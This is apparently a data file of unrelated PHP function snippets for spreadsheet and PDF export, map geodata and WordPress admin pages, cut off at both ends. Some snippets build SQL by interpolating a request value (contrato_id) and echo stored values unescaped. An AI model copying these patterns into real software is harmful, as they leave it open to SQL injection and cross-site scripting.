->select('transportes.nombre_Unidad','transportes.no_Serie','transportes.placas','transportes.poliza_Seguro','transportes.vigencia_Seguro','transportes.aseguradora','transportes.m3_Unidad','transportes.capacidad', \\DB::raw(\"concat(empleados.nombre,' ',empleados.apellidos) as 'name'\"))\n ->where('empleados.estado', 'Activo')\n ->get(); \n $sheet->fromArray($vehiculo);\n $sheet->row(1,['Nombre Vehiculo','Numero Serie','Placas','Poliza Seguro','Vigencia Seguro','Aseguradora','Capacidad Ubica','Capacidad','Nombre Chofer']);\n\n $sheet->setOrientation('landscape');\n });\n })->export('xls');\n }", "public function excel()\n {\n Excel::create('clientes', function($excel) {\n $excel->sheet('Excel sheet', function($sheet) {\n //otra opción -> $products = Product::select('name')->get();\n $clientes = Cliente::\n join('regimen_fiscal', 'regimen_fiscal.id','=','cliente.id_Regimen_Fiscal')\n ->select('cliente.nombre','cliente.rfc','cliente.contacto','regimen_fiscal.nombre as RegimenFiscal', 'cliente.telefono', 'cliente.email','cliente.codigo_Postal', 'cliente.direccion_fact', 'cliente.direccion_entr', 'cantidad_venta','cliente.volumen_venta', 'cliente.email', 'cliente.saldocliente','cliente.codigo_Postal')\n ->where('cliente.estado', 'Activo')\n ->get(); \n $sheet->fromArray($clientes);\n $sheet->row(1,['Nombre','RFC','Contacto', 'Regimen Fiscal' ,'Teléfono','Email','Codigo Postal','Dirección de Facturación','Dirección de Entrega de Embarque','Asignación de Cantidad de Venta por Año',' Asignación de Volumen de Venta por Año','Saldo Cliente $']);\n $sheet->setOrientation('landscape');\n \n\n });\n })->export('xls');\n }", "public function meta_box_geodata( $post ) {\n\t\t\t?>\n\t\t\t<input id=\"meetup[longitude]\" name=meetup[longitude] type=\"text\" value=\"<?php echo $meetup_meta[ 'longitude' ]; ?>\" tabindex=\"1\" style=\"float: right;\" />\n\t\t\t<label for=\"meetup[longitude]\" style=\"display: block; float: right; padding: 5px 7px 0;\">Longitude</label>\n\t\t\t<br class=\"clear\" />\n\t\t\t<input id=\"meetup[latitude]\" name=\"meetup[latitude]\" type=\"text\" value=\"<?php echo $meetup_meta[ 'latitude' ]; ?>\" tabindex=\"1\" style=\"float: right;\" />\n\t\t\t<label for=\"meetup[latitude]\" style=\"display: block; float: right; padding: 5px 7px 0;\">Latitude</label>\n\t\t\t<br class=\"clear\" />\n\t\t\t<p><em>Die Geodaten sollten automatisch geladen werden, wenn du auf den Button klickst und eine Adresse angegeben ist. Sollte das nicht passieren, musst du dir die Geodaten <a href=\"\">von dieser Seite</a> ziehen. Bitte speicher dein Meetup vor dieser Aktion.</em></p>\n\t\t\t<p><a href=\"#\" id=\"locate_geodata\" class=\"button-primary\">Geodaten ermitteln</a></p>\n\t\t\t<?php\n\t\t}", "public function f10_control_cambios_excel($contrato_id) {\n require_once('../../../librerias/Excel/PHPExcel2.php');\n \n $obCon=new conexion(1);\n $st_f10=\"SELECT * FROM vista_f10_control_cambios WHERE contrato_id='$contrato_id'\";\n $objPHPExcel = new Spreadsheet();\n \n $styleName = [\n \n 'font' => [\n 'bold' => true,\n 'size' => 20\n ]\n ];\n $styleTitle = [\n 'font' => [\n 'bold' => true,\n 'size' => 12\n ]\n ];\n \n $Campos=[\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"M\",\n \"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"Z\",\n \"AA\",\"AB\",\"AC\",\"AD\",\"AE\",\"AF\",\"AG\",\"AH\",\"AI\",\"AJ\",\"AK\",\"AL\",\n \"AM\",\"AN\",\"AO\",\"AP\",\"AQ\",\"AR\",\"AS\",\"AT\",\"AU\",\"AV\",\"AW\",\"AX\",\"AY\",\"AZ\",\n \"BA\",\"BB\",\"BC\",\"BD\",\"BE\",\"BF\",\"BG\",\"BH\",\"BI\",\"BJ\",\"BK\",\"BL\",\n \"BM\",\"BN\",\"BO\",\"BP\",\"BQ\",\"BR\",\"BS\",\"BT\",\"BU\",\"BV\",\"BW\",\"BX\",\"BY\",\"BZ\",\n \"CA\",\"CB\",\"CC\",\"CD\",\"CE\",\"CF\",\"CG\",\"CH\",\"CI\",\"CJ\",\"CK\",\"CL\",\n \"CM\",\"CN\",\"CO\",\"CP\",\"CQ\",\"CR\",\"CS\",\"CT\",\"CU\",\"CV\",\"CW\",\"CX\",\"CY\",\"CZ\",\n ];\n \n $nombres_campos=[\"ID\"=>'IDENTIFICADOR',\n\t\t\t\t\"NumeroInterno\"=>'N°',\n\t\t\t\t\"NombreSucursal\"=>'SEDE',\n\t\t\t\t\"NitIPSContratada\"=>'NIT',\n\t\t\t\t\"RazonSocial\"=>'RAZON SOCIAL',\n\t\t\t\t\"Naturaleza\"=>'NATURALEZA',\n\t\t\t\t\"Modalidad\"=>'MODALIDAD',\n\t\t\t\t\"NumeroContrato\"=>'NUMERO DE CONTRATO',\n\t\t\t\t\"llaveCargue\"=>'LLAVE',\n\t\t\t\t\"ValorContrato\"=>'VALOR CONTRATO',\n\t\t\t\t\"FechaInicioContrato\"=>'FECHA INICIO VIGENCIA',\n\t\t\t\t\"FechaFinalContrato\"=>'FECHA FIN VIGENCIA',\n\t\t\t\t\"ValorGlosaxConciliar\"=>'VALOR GLOSAS POR CONCILIAR',\n\t\t\t\t\"FechaConciliacionGlosa\"=>'FECHA CONCILIACION GLOSAS',\n\t\t\t\t\"CumplimientoActaGlosas\"=>'CUMPLIMIENTO DE ACTA DE GLOSA',\n\t\t\t\t\"ResponsableConciliacionGlosa\"=>'RESPONSABLE CONCILIACIÓN GLOSAS',\n\t\t\t\t\"SaldoCuentaXPagar\"=>'SALDO CUENTA POR PAGAR (SEVEN)',\n\t\t\t\t\"FechaConciliacionCartera\"=>'FECHA DE CONCILACIÓN CARTERA',\n\t\t\t\t\"nombre_responsable_conciliacion\"=>'RESPONSABLE CONCILIACIÓN CARTERA',\n\t\t\t\t\"CumplimientoConciliacionCartera\"=>'CUMPLIMIENTO DE CONCILIACIÓN',\n\t\t\t\t\"ObservacionesCartera\"=>'OBSERVACIONES',\n\t\t\t\t\"FechaActaLiquidacion\"=>'FECHA ELABORACIÓN ACTA DE LIQUIDACIÓN',\n\t\t\t\t\"NumeroActaLiquidacion\"=>'No. ACTA DE LIQUIDACION',\n\t\t\t\t\"ActaLiquidacionFirmada\"=>'ACTA DE LIQUIDACIÓN FIRMADA',\n\t\t\t\t\"FechaActaLiquidacionFirmada\"=>'FECHA ACTA DE LIQUIDACIÓN FIRMADA',\n\t\t\t\t\"ValorFavorContra\"=>'VALOR A FAVOR (/) O EN CONTRA (+)',\n\t\t\t\t\"RegistroActaLiquidacionSeven\"=>'REGISTRO ACTA DE LIQUIDACIÓN (SEVEN)',\n\t\t\t\t\"AcuerdoPago\"=>'SE REALIZÓ ACUERDO DE PAGO',\n\t\t\t\t\"NumeroCuotasAcuerdo\"=>'No. CUOTAS',\n\t\t\t\t\"ValorTotalAcuerdo\"=>'VALOR TOTAL ACUERDO',\n\t\t\t\t\"ValorCuotaAcuerdo\"=>'VALOR CUOTA',\n\t\t\t\t\"FechaInicioAcuerdo\"=>'FECHA INICIO ACUERDO DE PAGO',\n\t\t\t\t\"FechaFinAcuerdo\"=>'FECHA FIN ACUERDO DE PAGO',\n\t\t\t\t\"ValorSaldoAcuerdo\"=>'VALOR SALDO ACUERDO',\n\t\t\t\t\"ResponsableCargue\"=>'RESPONSABLE AGS O DEPARTAMENTAL CARGUE',\n\t\t\t\t\"TipoOperacionCargue\"=>'TIPO DE OPERACIÓN',\n\t\t\t\t\"NumeroAjusteCargue\"=>'NÚMERO AJUSTE',\n\t\t\t\t\"FechaAjusteCargue\"=>'FECHA',\n\t\t\t\t\"ValorAjusteCargue\"=>'VALOR AJUSTE',\n\t\t\t\t\"SaldoActaLiquidacionCargue\"=>'SALDO ACTA DE LIQUIDACIÓN',\n\t\t\t\t\"NotificacionCargue\"=>'NOTIFICACIÓN',\n\t\t\t\t\"FechaNotificacionCargue\"=>'FECHA NOTIFICACIÓN',\n\t\t\t\t\"UsuarioCargue\"=>'USUARIO QUE CARGA',\n\t\t\t\t\"nombre_responsable_liquidacion\"=>'RESPONSABLE AGS 2',\n\t\t\t\t\"nombre_cargo_responsable_liquidacion\"=>'CARGO RESPONSABLE AGS 2',\n\t\t\t\t\"LiderAcargoLiquidacion\"=>'LIDER A CARGO',\n\t\t\t\t\"nombre_responsable_cargue_acta\"=>'RESPONSABLE CARGUE DE ACTA',\n\t\t\t\t\"Pareto\"=>'PARETO',\n\t\t\t\t\"ParetoContraloria\"=>'PARETO CONTRALORIA',\n\t\t\t\t\"Municipio\"=>'MUNICIPIO',\n\t\t\t\t\"NivelComplejidad\"=>'NIVEL COMPLEJIDAD',\n\t\t\t\t\"ObjetoContrato\"=>'OBJETO DEL CONTRATO',\n\t\t\t\t\"AnioFinalizacionContrato\"=>'AÑO FINALIZACIÓN',\n\t\t\t\t\"ObservacionesLiquidacion\"=>'OBSERVACIONES ACTAS DE LIQUIDACIÓN',\n\t\t\t\t\"SaldoInicialSeven\"=>'SALDO INICIAL (SEVEN)',\n\t\t\t\t\"GlosaInicial\"=>'GLOSA INICIAL',\n\t\t\t\t\"GlosaFavor\"=>'GLOSA A FAVOR',\n\t\t\t\t\"GlosaConciliar\"=>'GLOSA POR CONCILIAR',\n\t\t\t\t\"PendienteAuditoria\"=>'PENDIENTE DE AUDITORIA',\n\t\t\t\t\"ValorDevoluciones\"=>'VALOR DEVOLUCIONES',\n\t\t\t\t\"ValorFacturado\"=>'VALOR FACTURADO',\n\t\t\t\t\"ValorPagado\"=>'TOTAL PAGADO',\n\t\t\t\t\"FechaEnvioCruceCartera\"=>'FECHA ENVIO CRUCE DE CARTERA',\n\t\t\t\t\"DiasTranscurridos\"=>'DIAS TRANSCURRIDOS',\n\t\t\t\t\"ConciliadoAsmet\"=>'CONCILIADO POR ASMET',\n\t\t\t\t\"CausaNoLiquidacion\"=>'CAUSA DE NO LIQUIDACION DEL CONTRATO',\n\t\t\t\t\"GestionLiquidacion\"=>'GESTION PARA LA LIQUIDACION',\n\t\t\t\t\"ProcesoNoLiquidacion\"=>'PROCESO DE NO LIQUIDACION INMEDIATA',\n\t\t\t\t\"ObservacionesAdicionales\"=>'OBSERVACIONES',\n\t\t\t\t\"HYL\"=>'HYL',\n\t\t\t\t\"Liquidado31Marzo2018\"=>'LIQUIDADO A 31 DE MARZO 2018',\n\t\t\t\t\"Contrato\"=>'CONTRATO SI/NO',\n\t\t\t\t\"MarcaGerencia\"=>'MARCA JAIR',\n\t\t\t\t\"RecibeCartera\"=>'SE RECIBE CARTERA',\n\t\t\t\t\"FechaRecibeCartera\"=>'FECHA RECIBE CARTERA',\n\t\t\t\t\"RealizaCruceCartera\"=>'SE REALIZA CRUCE DE CARTERA',\n\t\t\t\t\"FechaCruce\"=>'FECHA REALIZA CRUCE DE CARTERA',\n\t\t\t\t\"EnviaOferta\"=>'SE ENVIA OFERTA',\n\t\t\t\t\"FechaEnviaOferta\"=>'FECHA ENVIA OFERTA',\n\t\t\t\t\"ActaArchivada\"=>'FECHA ENVIA OFERTA',\n\t\t\t\t\"FechaActualizacionManual\"=>'FECHA ACTUALIZACION MANUAL',\n\t\t\t\t\"usuario_edicion\"=>'USUARIO ACTUALIZA MANUAL',\n\t\t\t\t\"FechaActualizacion\"=>'FECHA ACTUALIZACION AUTOMATICA',\n\t\t\t\t\"nombre_estado\"=>'ESTADO DEL CONTRATO',\n\n\t\t\t\t];\n \n $campos_seleccionados=\"\";\n $z=0;\n $i=1;\n foreach ($nombres_campos as $key => $value) {\n $campos_seleccionados.=\"$key,\";\n $objPHPExcel->setActiveSheetIndex(0)\n ->setCellValue($Campos[$z].$i,$value);\n \n $z=$z+1;\n }\n $campos_seleccionados= substr($campos_seleccionados, 0, -1);\n \n $st_f10= str_replace(\"*\", $campos_seleccionados, $st_f10);\n $z=0;\n $i=2;\n $sql=$st_f10;\n \n $Consulta=$obCon->Query($sql);\n \n while($DatosConsulta=$obCon->FetchAssoc($Consulta)){\n $z=0;\n foreach ($DatosConsulta as $key => $value) {\n $objPHPExcel->setActiveSheetIndex(0)\n ->setCellValue($Campos[$z++].$i,$value);\n }\n $i++;\n }\n //Informacion del excel\n $objPHPExcel->\n getProperties()\n ->setCreator(\"www.technosoluciones.com.co\")\n ->setLastModifiedBy(\"www.technosoluciones.com.co\")\n ->setTitle(\"F10_control_cambios\")\n ->setSubject(\"F10_control_cambios\")\n ->setDescription(\"Documento generado por Techno Soluciones SAS\")\n ->setKeywords(\"techno soluciones sas\")\n ->setCategory(\"F10\"); \n \n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment;filename=\"'.\"F10_Control_Cambios\".'.xls\"');\n header('Cache-Control: max-age=0');\n header('Cache-Control: cache, must-revalidate'); // HTTP/1.1\n header('Pragma: public'); // HTTP/1.0\n $objWriter=IOFactory::createWriter($objPHPExcel,'Xlsx');\n $objWriter->save('php://output');\n exit; \n \n }", "function printcalc($farea,$fnbcalls,$fminutes,$frate,$abo) {\n global $table,$objPHPExcel,$page,$ld,$totcall,$totmin,$totprix,$totmob,$minmob,$prixmob;\n if (!$abo) {\n $ld++;\n if (!$frate) {\n $iprix=0;\n $frate=$prettyprix=\"Inclus\";\n } else {\n $iprix=$fminutes*$frate;\n $prettyprix=round($iprix,2);\n }\n $prettyarea=preg_replace('/MOBILE/', 'MOB', $farea);\n $table .=\"<tr>\\n<td colspan=\\\"4\\\" style=\\\"border-right:0.1px solid black; border-top:0.1px solid black;\\\">$prettyarea</td>\\n<td style=\\\"border-right:0.1px solid black; border-top:0.1px solid black;\\\">$fnbcalls</td>\\n<td style=\\\"border-right:0.1px solid black; border-top:0.1px solid black;\\\">\". round($fminutes) .\"</td>\\n<td style=\\\"border-right:0.1px solid black; border-top:0.1px solid black; text-align:right\\\">$prettyprix</td>\\n</tr>\\n\";\n $objPHPExcel->setActiveSheetIndex($page)->setCellValue(\"B\".$ld,$farea);\n $objPHPExcel->setActiveSheetIndex($page)->setCellValue(\"H\".$ld,$fnbcalls);\n $objPHPExcel->setActiveSheetIndex($page)->setCellValue(\"I\".$ld,round($fminutes));\n $objPHPExcel->setActiveSheetIndex($page)->setCellValue(\"J\".$ld,$frate);\n $objPHPExcel->setActiveSheetIndex($page)->setCellValue(\"K\".$ld,$prettyprix);\n $totcall = $totcall+$fnbcalls;\n $totmin = $totmin+$fminutes;\n $totprix = $totprix+$iprix;\n } else {\n $iprix=$fminutes*$frate;\n $totcall = $totcall+$fnbcalls;\n $totmin = $totmin+$fminutes;\n $totmob=$totmob+$fnbcalls;\n $minmob=$minmob+$fminutes;\n $prixmob=$prixmob+$iprix;\n }\n\n\n}", "function absenrich_export_excel(){\r\n\t\t//POST varibale here\r\n\t\t$gudang_id=trim(@$_POST[\"gudang_id\"]);\r\n\t\t$gudang_nama=trim(@$_POST[\"gudang_nama\"]);\r\n\t\t$gudang_nama=str_replace(\"/(<\\/?)(p)([^>]*>)\", \"\",$gudang_nama);\r\n\t\t$gudang_nama=str_replace(\"'\", '\"',$gudang_nama);\r\n\t\t$gudang_lokasi=trim(@$_POST[\"gudang_lokasi\"]);\r\n\t\t$gudang_lokasi=str_replace(\"/(<\\/?)(p)([^>]*>)\", \"\",$gudang_lokasi);\r\n\t\t$gudang_lokasi=str_replace(\"'\", '\"',$gudang_lokasi);\r\n\t\t$gudang_keterangan=trim(@$_POST[\"gudang_keterangan\"]);\r\n\t\t$gudang_keterangan=str_replace(\"/(<\\/?)(p)([^>]*>)\", \"\",$gudang_keterangan);\r\n\t\t$gudang_keterangan=str_replace(\"'\", '\"',$gudang_keterangan);\r\n\t\t$gudang_aktif=trim(@$_POST[\"gudang_aktif\"]);\r\n\t\t$gudang_aktif=str_replace(\"/(<\\/?)(p)([^>]*>)\", \"\",$gudang_aktif);\r\n\t\t$gudang_aktif=str_replace(\"'\", '\"',$gudang_aktif);\r\n\t\t$gudang_creator=trim(@$_POST[\"gudang_creator\"]);\r\n\t\t$gudang_creator=str_replace(\"/(<\\/?)(p)([^>]*>)\", \"\",$gudang_creator);\r\n\t\t$gudang_creator=str_replace(\"'\", '\"',$gudang_creator);\r\n\t\t$gudang_date_create=trim(@$_POST[\"gudang_date_create\"]);\r\n\t\t$absenrich_updater=trim(@$_POST[\"absenrich_updater\"]);\r\n\t\t$absenrich_updater=str_replace(\"/(<\\/?)(p)([^>]*>)\", \"\",$absenrich_updater);\r\n\t\t$absenrich_updater=str_replace(\"'\", '\"',$absenrich_updater);\r\n\t\t$gudang_date_update=trim(@$_POST[\"gudang_date_update\"]);\r\n\t\t$gudang_revised=trim(@$_POST[\"gudang_revised\"]);\r\n\t\t$option=$_POST['currentlisting'];\r\n\t\t$filter=$_POST[\"query\"];\r\n\t\t\r\n\t\t$query = $this->m_absensi_enrichment->absenrich_export_excel($gudang_id ,$gudang_nama ,$gudang_lokasi ,$gudang_keterangan ,$gudang_aktif ,$gudang_creator ,$gudang_date_create ,$absenrich_updater ,$gudang_date_update ,$gudang_revised ,$option,$filter);\r\n\t\t\r\n\t\tto_excel($query,\"absensi_enrichment\"); \r\n\t\techo '1';\r\n\t\t\t\r\n\t}", "function entete_table($position_entete) {\n global $pdf;\n $pdf->SetDrawColor(183); // Couleur du fond RVB\n $pdf->setFillColor(89,133,255); // Couleur des filets RVB\n $pdf->SetTextColor(0); // Couleur du texte noir\n $pdf->SetY($position_entete);\n // position de colonne 1 (10mm à gauche)\n $pdf->SetX(5);\n $pdf->Cell(40,8,'Prestation',1,0,'C',1); // 60 >largeur colonne, 8 >hauteur colonne\n // position de la colonne 2 (70 = 10+60)\n $pdf->SetX(45);\n $pdf->Cell(40,8,'Date',1,0,'C',1);\n $pdf->SetX(85);\n $pdf->Cell(40,8,'Prix HT',1,0,'C',1);\n $pdf->SetX(125);\n $pdf->Cell(40,8,'Tva',1,0,'C',1);\n $pdf->SetX(165);\n $pdf->Cell(40,8,iconv(\"UTF-8\", \"CP1250//TRANSLIT\", \"Quantité/Durée\"),1,0,'C',1);\n\n // position de la colonne 3 (130 = 70+60)\n\n\n $pdf->Ln(); // Retour à la ligne\n}", "private function renderMapRouteMarkerGeodata( $key, $elements )\n {\n\n // short variables\n $tableFieldGeodata = $this->confMap[ 'configuration.' ][ 'route.' ][ 'tables.' ][ 'path.' ][ 'geodata' ];\n $tableFieldIconposition = $this->confMap[ 'configuration.' ][ 'route.' ][ 'tables.' ][ 'path.' ][ 'iconposition' ];\n $intPosition = ( int ) $elements[ $tableFieldIconposition ];\n $strGeodata = $elements[ $tableFieldGeodata ];\n $arrGeodata = $this->renderMapRoutePathsJsonFeaturesCoordinates( $strGeodata );\n\n switch ( true )\n {\n case( $intPosition == 1 ):\n // center\n $itemNumber = ( int ) ( count( $arrGeodata ) / 2 );\n break;\n case( $intPosition == 2 ):\n // end\n $itemNumber = count( $arrGeodata ) - 1;\n break;\n case( $intPosition === 0 ):\n default:\n // beginning\n $itemNumber = 0;\n break;\n }\n $geodata = $arrGeodata[ $itemNumber ];\n\n if ( empty( $geodata ) )\n {\n $header = 'FATAL ERROR!';\n $text = 'Array geodata is empty!';\n $this->pObj->drs_die( $header, $text );\n }\n\n switch ( $key )\n {\n case( 'lat' ):\n return $geodata[ 1 ];\n case( 'lon' ):\n return $geodata[ 0 ];\n default:\n $header = 'FATAL ERROR!';\n $text = 'key must be \"lat\" or \"lon\", but key is \"' . $key . '\".';\n $this->pObj->drs_die( $header, $text );\n }\n\n unset( $intPosition );\n }", "public function exportFile($type, $id=null){\n\n if ($id == null){\n\n $gerencias = Gerencia::all();\n\n return \\Excel::create('Gerencias', function($excel) use ($gerencias) {\n \n $excel->sheet('Data Gerencias', function($sheet) use ($gerencias)\n \n {\n $sheet->row(1, ['Gerencia Comercial', 'Dirección Comercial', 'Titular', 'Correo', 'Telélefono'\n\n ]);\n\n foreach ($gerencias as $key => $gerencia) {\n $sheet->row( $key + 2, [\n $gerencia->name, $gerencia->direccion->name, $gerencia->titular, $gerencia->email, $gerencia->phone\n ]);\n }\n \n });\n \n })->export($type);\n\n }else{\n\n $gerencia = Gerencia::find($id);\n\n return \\Excel::create($gerencia->name, function($excel) use ($gerencia) {\n \n $excel->sheet($gerencia->name, function($sheet) use ($gerencia) {\n $sheet->row(1, ['Gerencia Comercial', 'Dirección Comercial', 'Titular', 'Correo', 'Teléfono'\n ]);\n\n $sheet->row( 2, [\n $gerencia->name, $gerencia->direccion->name, $gerencia->titular, $gerencia->email, $gerencia->phone\n ]);\n \n });\n \n $excel->sheet('Data Oficinas', function($sheet) use ($gerencia) {\n\n $sheet->row(1, ['Oficina', 'Supervisor', 'Correo', 'Teléfono'\n\n ]);\n\n foreach ($gerencia->oficinas as $oficina) {\n\n foreach ($oficina->supervisors as $key => $supervisor) {\n $sheet->row( $key + 2, [\n $oficina->name, $supervisor->name, $supervisor->email, $supervisor->phone\n ]);\n }\n \n }\n \n });\n\n foreach ($gerencia->oficinas as $oficina) {\n $excel->sheet($oficina->name, function($sheet) use ($oficina) {\n $sheet->row(1, ['p00', 'Nombre', 'Rol', 'Correo', 'Teléfono', 'Oficina'\n ]);\n foreach ($oficina->history as $key => $personal) {\n $sheet->row( $key + 2, [\n $personal->personal->p00, $personal->personal->name, $personal->rol->name, $personal->personal->email, $personal->personal->phone, $personal->oficina->name\n ]);\n }\n });\n }\n })->export($type);\n }\n }", "function pegaParametrosLegImg()\n {\n // error_reporting(0);\n $legenda = $this->mapa->legend;\n $height = $legenda->height;\n $width = $legenda->width;\n $keysizex = $legenda->keysizex;\n $keysizey = $legenda->keysizey;\n $keyspacingx = $legenda->keyspacingx;\n $keyspacingy = $legenda->keyspacingy;\n $outlinecolor = corRGB($legenda->outlinecolor); // Color of outline of box, -1 for no outline\n $status = $legenda->status; // MS_ON, MS_OFF, MS_EMBED\n $position = $legenda->position;\n if ($position < 99) {\n $position = \"10\" . $position;\n }\n $transparent = 100;\n $imagecolor = corRGB($legenda->imagecolor);\n $label = $legenda->label;\n $font = $label->font;\n if ($font == MS_BITMAP) {\n $l = $label->size;\n if ($l == MS_TINY) {\n $t = 5;\n }\n if ($l == MS_SMALL) {\n $t = 7;\n }\n if ($l == MS_MEDIUM) {\n $t = 10;\n }\n if ($l == MS_LARGE) {\n $t = 12;\n }\n if ($l == MS_GIANT) {\n $t = 14;\n }\n $labelsize = $t;\n } else\n $labelsize = $label->size;\n\n $tipofonte = $label->type;\n return (array(\n \"tipofonte\" => $tipofonte,\n \"font\" => $font,\n \"imagecolor\" => $imagecolor,\n \"transparent\" => transparent,\n \"position\" => $position,\n \"status\" => $status,\n \"outlinecolor\" => $outlinecolor,\n \"keyspacingy\" => $keyspacingy,\n \"keyspacingx\" => $keyspacingx,\n \"keysizey\" => $keysizey,\n \"keysizex\" => $keysizex,\n \"height\" => $height,\n \"width\" => $width,\n \"labelsize\" => $labelsize\n ));\n }", "function fnOMcreateMap( $OMapi, $OMdat, $OMico, $OMmap=\"*\", $OMgeo=\"*\", $OMpan=\"-\", $OMmll=\"-\", $OMfli=\"-\" )\n{\n\t$OMapi->createMAP();\n\n\tif ( !file_exists($OMdat.$OMmap.\".map\") && $OMmap!=\"*\" ) goto nomap;\n\tif ( $OMmap==\"*\" ) {\n\t\t$files = scandir( $OMdat );\n\t\tforeach ( $files as $key => $val ) {\n\t\t\tif ( substr($val,-4)==\".map\" ) {\n\t\t\t\tfnOMcreateMAPaddDATA( $OMapi, $OMdat, $OMico, $val, $OMgeo, $OMpan, $OMmll, $OMfli );\n\t\t\t}\n\t\t}\n\t} else {\n\t\tfnOMcreateMAPaddDATA( $OMapi, $OMdat, $OMico, $OMmap.\".map\", $OMgeo, $OMpan, $OMmll, $OMfli );\n\t}\nnomap:\n\n\tif ( !file_exists($OMdat.$OMgeo.\".json\") && !file_exists($OMdat.$OMgeo.\".geojson\") && $OMgeo!=\"*\" ) goto nojson;\n\tif ( $OMgeo==\"*\" ) {\n\t\t$files = scandir( $OMdat );\n\t\tforeach ( $files as $key => $val ) {\n\t\t\tif ( substr($val,-5)==\".json\" OR substr($val,-8)==\".geojson\" ) {\n\t\t\t\t$OMapi->addGEOJSON( \"http://\".$_SERVER['SERVER_NAME'].\"/\".$OMdat.$val ); // addJSON\n\t\t\t}\n\t\t}\n\t} else {\n\t\t$OMapi->addGEOJSON( \"http://\".$_SERVER['SERVER_NAME'].\"/\".$OMdat.$OMgeo.\".json\" ); // INCLUDE .geojson\n\t}\nnojson:\n\n\tif ( !file_exists($OMdat.$OMgeo.\".xml\") && !file_exists($OMdat.$OMgeo.\".kml\") && $OMgeo!=\"*\" ) goto noxml;\n\tif ( $OMgeo==\"*\" ) {\n\t\t$files = scandir( $OMdat );\n\t\tforeach ( $files as $key => $val ) {\n\t\t\tif ( substr($val,-4)==\".xml\" OR substr($val,-4)==\".kml\" ) {\n\t\t\t\t$OMapi->addKML( \"http://\".$_SERVER['SERVER_NAME'].\"/\".$OMdat.$val ); // addXML\n\t\t\t}\n\t\t}\n\t} else {\n\t\t$OMapi->addKML( \"http://\".$_SERVER['SERVER_NAME'].\"/\".$OMdat.$OMgeo.\".kml\" ); // INCLUDE .xml\n\t}\nnoxml:\n\n//\t$OMapi->addCIRCLE();\n\n\t$OMapi->addLAYERS();\n\n//\t$OMapi->getEVENT();\n\n\t$OMapi->initMAP();\n}", "function oneclick_google_map_plugin_geolocationpage()\r\r\n{\r\r\n if (!current_user_can('manage_options')) {\r\r\n wp_die('We hereby declarating :You are not authorised to access this plugin');\r\r\n }\r\r\n global $plugin_url;\r\r\n global $options;\r\r\n if (isset($_POST['geolocation_settings_form_submitted'])) {\r\r\n $hidden_field = esc_html($_POST['geolocation_settings_form_submitted']);\r\r\n if ($hidden_field == \"Y\") {\r\r\n $gmap_iconizer_latitude = esc_html($_POST['gmap_iconizer_latitude']);\r\r\n $options_geolocation_page['gmap_iconizer_latitude'] = $gmap_iconizer_latitude;\r\r\n $gmap_iconizer_longitude = esc_html($_POST['gmap_iconizer_longitude']);\r\r\n $options_geolocation_page['gmap_iconizer_longitude'] = $gmap_iconizer_longitude;\r\r\n $gmap_iconizer_zoom_level = esc_html($_POST['gmap_iconizer_zoom_level']);\r\r\n $options_geolocation_page['gmap_iconizer_zoom_level'] = $gmap_iconizer_zoom_level;\r\r\n update_option('oneclick_geolocation', $options_geolocation_page);\r\r\n $url = admin_url('admin.php?page=oneclick-google-map', 'http');\r\r\n echo '<script> window.location=\"';\r\r\n echo $url . '\"; </script> ';\r\r\n }\r\r\n }\r\r\n $options = get_option('oneclick_geolocation');\r\r\n $gmap_iconizer_zoom_level = $options['gmap_iconizer_zoom_level'];\r\r\n $gmap_iconizer_latitude = $options['gmap_iconizer_latitude'];\r\r\n $gmap_iconizer_longitude = $options['gmap_iconizer_longitude'];\r\r\n require ('includes/plugin_geolocation_wrapper.php');\r\r\n}", "function excel_form($param_where=null, $evenif_open = false,$bind_where=null){\r\n\t\tglobal $in;\r\n\t\tglobal $inputval;\r\n\t\tglobal $percorso;\r\n\t\tglobal $conn;\r\n\t\tif($in['allarga'])$valore=10;\r\n\t\telse $valore=2;\r\n\t\t/*$percorso=explode(\",\", $this->form['PERCORSO']);\r\n\t\t for ($p=0;$p<count($percorso);$p++){\r\n\t\t if ($inputval['D_PROTOCOL']=='' && $percorso[$p]=='D_PROTOCOL') $per.=\"EpSSG Registry\";\r\n\t\t $per.=$inputval[$percorso[$p]].\" &gt; \";\r\n\t\t }\r\n\t\t $per.=$this->form['TITOLO'];*/\r\n\t\t//$percorso.=\"&nbsp;&gt;&nbsp;<b>\".$this->form['TITOLO'].\"</b>\";\r\n\t\tif ($in['all_exams_view']!='') $percorso=null;\r\n\t\tif ($in['FORM']!='') $percorso=null;\r\n\t\t//if ($in['ESAM']!=0) $patient_table=patient_table();\r\n\t\t$this->body='<!--tabs-->\r\n\t\t <table class=\"sf\" align=\"center\" border=\"0\" cellpadding=\"2\" cellspacing=\"2\" width=\"98%\">\r\n\t\t <tbody>\r\n\t\t <tr>\r\n\t\t <td class=\"testo\" colspan=\"2\">'.$percorso.'</td></tr>\r\n\t\t <tr>\r\n\t\t <td colspan=\"2\">\r\n\t\t <!--table align=\"center\" border=\"0\" cellpadding=\"2\" cellspacing=\"2\" width=\"98%\">\r\n\t\t <tbody>\r\n\t\t <tr>\r\n\t\t <td class=\"int\" colspan=\"2\">'.$this->form['TITOLO'].'</td>\r\n\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t</tbody>\r\n\t\t\t\t\t</table>\r\n\t\t\t\t\t<table border=\"0\" cellpadding=\"2\" cellspacing=\"2\" width=\"98%\" align=\"center\">\r\n\t\t\t\t\t <tbody>\r\n\t\t\t\t\t <tr>\r\n\t\t\t\t\t \t<td class=\"centro\" colspan=\"2\" valign=\"bottom\" width=\"55%\" align=\"center\"><a href=\"/help.htm\" target=\"_blank\">Help</a></td>\r\n\t\t\t\t\t </tr>\r\n\t\t\t\t\t\t</tbody>\r\n\t\t\t\t\t</table--></table>\r\n\t\t'.$patient_table.'\r\n\t\t \t\t\t\t <table class=\"sf\" align=\"center\" border=\"0\" cellpadding=\"'.$valore.'\" cellspacing=\"'.$valore.'\" width=\"80%\"><tr>\r\n\t\t \t\t\t\t <!-- CAMPI -->';\r\n\t\t$colonne=$this->form['COLS'];\r\n\t\t$width=100/($colonne*2);\r\n\t\tfor ($i=0;$i<$colonne;$i++) $this->body.=\"<td width=\\\"\".$width.\"%\\\">&nbsp;</td><td 